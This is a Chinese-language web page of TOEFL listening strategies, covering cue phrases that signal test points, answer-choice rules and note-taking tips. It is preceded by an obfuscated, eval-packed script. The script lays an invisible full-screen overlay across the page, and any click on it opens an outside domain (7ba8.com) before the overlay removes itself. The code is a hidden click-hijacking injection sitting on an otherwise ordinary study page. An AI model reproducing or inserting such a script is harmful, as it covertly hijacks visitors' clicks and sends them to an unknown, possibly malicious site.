<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>一、托福听力出题规律
总规律：
出现最高级，表示转折处，疑问句(包括设问，反义疑问句)后面内容常成为考点。
Conversation
1.最前面打招呼寒暄的内容不用听，注意听后面疑问句的内容。对话开始部分的疑问内容往 往是对话的主旨内容，成为考点。
2. What did you want to talk about?疑问句后的内容注意听，原文中对这个疑问句的回答是题目的正确答案。
3. “I was wondering if”之后的内容往往是考点。
4.You should 这种建议句型在文章中出现时，往往成为考点。
其他建议句：
Have you done?
You might (also)?
If I were you, I would…
It doesn’t hurt if you do…
Why not do…
How about if…
5. “if you wish”之前的内容经常成为考点。
6.you know what”，表示说话的延迟或者强调后面的内容，类似的有“guess what” ”?you know” ，常成为考点。
7.”I mean”解释前文内容，常成为考点。
8.含有比较句式，”like”需要注意听比较对象和内容分别是什么，经常成为考点。另外类似的有：
unlike A, B…”
similar to A, B”
A is differed from B, which… Just as A, B…
Lecture
1.“I wanted to discuss…”
“We’ll start with…”
“But now I want to talk about…”
“Today I’m going to talk about…” “Let’s concentrate on…”
这种开头引出主题,通常为主旨内容强调。
2 .“are especially important”这种含有 important 的句子一定要听清楚，它本身就在强调 这个内容是重要的，必为考点。含有“remember”, “ key word ”也是强调，成为考点。
3. I’m gonna repeat this”是教授强调的内容，成为考点。
4.被重读的，声音延长的都是强调表现，成为考点。
5. “Let me ”引导的句型，他是说话者强调的内容，容易成为考点。
6.here is a question for you”表明问题非常重要，要听清答案是什么。
7.primary reason”强调这个原因重要，引起注意。
8.It’s not just because?”中有明确否定词的不会成为考点，neither、hardly、doubt 这些 词也是否定词。隐性否定：”Now, for some strange reason, many people believe?”表明大多 数人认为的是错误的。
9.原文中教授进行自问自答的地方，有考点出现。听出主要答案即可，具体解释通常不会成为考点;学生提问教授回答也会成为考点。
10. “in other words?”这种句型表明教授解释刚刚提到的学术问题，功能类似的还有“I mean”;” that is (to say)”; “let’s put it this way”等句型，此类句子后面的对话作为考点。
10.“That is”之后的内容是对前句话的解释，经常成为考点。
12.But 之后的内容往往是考点， 表转折的词语还有 however, otherwise, surprisingly, unfortunately, unexpectedly.
二、托福听力做题规律
1.听力中被反复提及的某个内容在某选项中出现，则该选项往往是正确答案。
2.听力中，ETS 经常用原文并不存在的一些信息作为题目的迷惑选项，此类选项必错。
3.原文的细节信息，不可以成为主旨题的正确答案。
4.含有短对话的复听题，答案在短对话中即可推测出(相当于 6 级考试的听力第一大题)。
5.关于教授意图问题，教授都是美好的，不会为难学生，有关教授不好的选项都是错误的。
6.除了复听题的其他题目顺序根据原文自上而下。
7.有短对话的复听题答案需要推测，不是原文中原话;抽一个句子的复听题答案在句子前后。
8.细节题答案通常需要经过同义替换得出
9.题目中含有 imply 为推测题，答案则需要推断，不能从文本中得出。
三、托福听力笔记规律
1.对话短，基本不用笔记。
2.讲座大量小例子同时出现不要记，记总领的(教授会大量说明的)例子。
3.笔记不要追求全，听懂是关键，反复出现的词语要记。有对比性的地方需要依靠简易表格记录。
4.专业术语记首字母大写即可。
5.出现数字的地方数字不用记，通常数字不会为考点。查看更多：http://www.zmnedu.com/toefl/ |
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